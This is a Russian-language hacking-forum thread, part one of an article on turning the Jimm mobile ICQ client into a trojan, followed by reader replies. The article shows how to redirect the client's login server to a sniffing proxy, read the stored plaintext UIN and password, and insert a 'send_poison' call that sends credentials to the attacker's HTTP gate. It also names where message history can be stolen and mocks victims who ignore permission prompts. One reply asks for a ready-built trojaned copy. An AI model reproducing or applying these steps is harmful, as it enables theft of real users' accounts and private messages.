![]() |
JIMM Изнутри by Whirt (Часть 1)
Jimm изнутри (Часть 1)
Вступление Мобильные технологии прогрессируют неимоверными темпами. Аська давно перебралась на мобильные платформы, и, весьма неплохо себя там чувствует. Давайте посмотрим, что представляет из себя один из наиболее популярных представителей мобильных ICQ клиентов изнутри, и попытаемся использовать его в своих (учебных) целях :D Впринципе, явакодингом особо до этого я не занимался, но привлекало то, ява - это си-подобный язык, поэтому я подумал, что смогу разобраться с исходниках без особого труда (да и разберется думаю любой другой более-менее соображающий php/c/c++ кодер ) Впринципе, так и оказалось) Более того, исходники имеют потрясающую читабельность :) Пара часиков у меня ушла на изучения общего принципа работа и устройства jimm ) У меня была загружена версия 0.5.2 от Xаttаb'а, но впринципе, сама версия не имеет для нас особого значения. Последнюю версию вы всегда можете загрузить на: _http://jimm.im/php/downloads.php?ids=25 Меняем адрес сервера Распакуем, архив, лезем в \jimm\src\jimm\Options.java Находим объявление функции: Код:
static private void setDefaults()Код:
setString (Options.OPTION_SRV_HOST, "login.icq.com");Мы можем изменить их по своему усмотрению на фиктивный хост, через который будут идти данные и впарить жертве. Тут можно пойти двумя путями: зарегаться на simkl.com или установить свой сниффер AIM ( http://www.aimsniff.com/ ) и указать на него. Сам я юзал в данном случае сервис simkl.com, тк своего серва/дедика не было, а на firstvds запрещен прямой доступ к сетевым интерфейсам, так что установить AIM Sniff там не представляется возможным. Юзаем: Host: im10.simkl.com с портами 80, 3128, 443, 5190. Для меньшей палевности (если жертва не полный ноль) рекомендуется вписывать соответствующий IP адрес, а не доменное имя. После того, как жертва законнектится, мы увидим весь ее список контактов, ну, и соответственно всю ее хистори. Пионерим пароль Если бы мы просмотрели файл Options.java чуть дальше, мы бы заметили, что UIN хранится в Options.OPTION_UIN, а пароль в Options.OPTION_PASSWORD, причем записаны они там в абсолютно открытом виде, чем мы и воспользуемся. Выдрать их можно, используя конструкции: Код:
Options.getString(Options.OPTION_PASSWORD)Код:
Options.getString(Options.OPTION_UIN)Итак, пароли нашли, знаем как их оттуда достать? Что же дальше ? Правильно, нужно напривить их на наш HTTP-гейт (можно конечно использовать и отправку через простое сообщение ICQ на наш номер, но я выбрал данный способ, потому что так удобнее собирать БД на сервере, правда у него есть один недостаток, в самом начале, когда происходит первый коннект, пользователю придется подтвердить сначала разрешение на открытие сокета ( это норма ) + разрешение на открытие HTTP соединение. Впринципе, обычно лапоухие не обращают внимание на это, так было и в моих случаях.) Но если уж так хочется стырить пароль через пересылку ICQ сообщения, в конце статье опишу, как это можно сделать. Итак, нам нужно притырить пароль при коннекте. Открываем файл \jimm\src\jimm\comm\Icq.java , который ответственен за подключение, и находим строку: Код:
public class Icq implements RunnableКод:
//Адрес гейтаКод:
static protected synchronized void setConnected()свои ядовитые корни. Добавляем вызов нашей функции: Код:
send_poison("0x01",Options.getString(Options.OPTION_UIN)+";"+Options.getString(Options.OPTION_PASSWORD));Здесь 0x01 я просто использовал как описание типа содержимого (в самом гейте), у меня при 0х01 он ловил и записывал UIN;PASS, при 0х02 ловил сообщения. Оговорюсь, что метод хищения сообщений на мобильных девайсах не очень хорош собой, т.к создает дополнительный сетевой траффик, соответственно, будут лаги, и иногда некоторые сообщения просто будут не доходить (у меня такое было). Ну, само хищение истории останется вашим домашним заданием )) В, принципе, если так уж надо, место, где стоит поколдовать, я укажу: Было установлено, что сообщения проходят через обработку в \jimm\src\jimm\comm\PlainMessage.java Открываем. Смотрим на функции: Код:
// Создает входящее сообщениеисходя из набора аргументов. Если хотите тырить переписку, стоит колдовать с этими функциями. В моем случае я не стал заморачиваться, и пионерил хистори (хоть и иногда и с половинным успехом через всю ту же мою ядовитую функцию send_poison. Еще одна проблема, с который я столкнулся, и которую хотелось бы осветить, это необходимость перекодировки сообщений в UTF-8 для передачи по HTTP. Но с тем, как с этим справиться средствами Java (нам придется написать собственную функцию), и о том, как написать наш php-гейт, а так же скомпилировать проект, я расскажу во второй части статьи. To be continued... http://img401.imageshack.us/img401/2250/debugud7.jpg http://img299.imageshack.us/img299/3...ulatingfz9.jpg Disclaimer: Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению) Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования представленной информации, а так же действий, противоречащих УК РФ. Copyright: Whirt Special for: Antichat.ru |
Мне тут в репутацию приходят комменты, что "читали подобное". Дайте плиз ссылку?
Статью написал довольно-таки давно, основываясь на собственных исследованиях, но не публиковал. Сейчас просто оформил "как надо". Соответственно писал, тк, ничего подобного в интернете найти не мог. Дайте плиз ссылку, где про это можно прочитать, если эта тема поднималась. |
А выложите сюда уже собранный джим, чтобы пасс отправлял куда следует ))
|
1) Статья писалась давно, недавно просто привел к читабельному виду и оформил, а сорцы где то в бардаке Cd-r'ок )) Если найду, то выложу.
2) Это позиционируется как мобильный троян, а сейчас на форуме вроде это дело запрещено, если не ошибаюсь. 3) Скоро выложу вторую часть, там показано как сделать гейт и что нужно сотворить, чтобы самому скомпилировать. |
блин были бы еще ссылки на программы с которыми работал было бы просто замечательно и желательно с кряками
|
Цитата:
|
| Время: 14:05 |